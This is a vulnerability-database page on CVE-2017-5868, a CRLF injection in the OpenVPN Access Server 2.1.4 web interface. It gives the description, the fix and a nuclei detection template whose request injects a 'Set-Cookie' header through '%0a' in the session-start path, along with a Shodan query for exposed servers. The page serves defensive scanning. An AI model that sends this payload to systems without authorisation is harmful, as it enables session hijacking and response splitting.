HexBrain

Browse / CVEs / CVE-2017-5868

CVE-2017-5868· openvpn / openvpn access server· CWE-93

OpenVPN Access Server 2.1.4 - CRLF Injection

mediumseverity
6.1CVSS score
4.6%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via "%0A" characters in the PATH_INFO to __session_start__/.

Impact

Attackers can inject arbitrary HTTP headers to conduct session fixation attacks, potentially hijacking user sessions or performing HTTP response splitting attacks.

Fix

Update to the latest version of OpenVPN Access Server or apply vendor-provided security patches.

How to confirm it

Send: GET {{BaseURL}}/__session_start__/%0aSet-Cookie:%20crlfinjection=1;
Positive when: matches in header /^Set-Cookie: crlfinjection=1;/ AND status 302

Run it with nuclei: nuclei -id CVE-2017-5868 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-5868

info:
  name: OpenVPN Access Server 2.1.4 - CRLF Injection
  author: ritikchaddha
  severity: medium
  description: |
    CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via "%0A" characters in the PATH_INFO to __session_start__/.
  impact: |
    Attackers can inject arbitrary HTTP headers to conduct session fixation attacks, potentially hijacking user sessions or performing HTTP response splitting attacks.
  remediation: |
    Update to the latest version of OpenVPN Access Server or apply vendor-provided security patches.
  reference:
    - https://www.openwall.com/lists/oss-security/2017/05/23/13
    - http://www.securitytracker.com/id/1038547
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5868
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-5868
    cwe-id: CWE-93
    epss-score: 0.04622
    epss-percentile: 0.91772
    cpe: cpe:2.3:a:openvpn:openvpn_access_server:2.1.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openvpn
    product: openvpn_access_server
    shodan-query: cpe:"cpe:2.3:a:openvpn:openvpn_access_server"
  tags: cve,cve2017,openvpn,crlf,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/__session_start__/%0aSet-Cookie:%20crlfinjection=1;"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from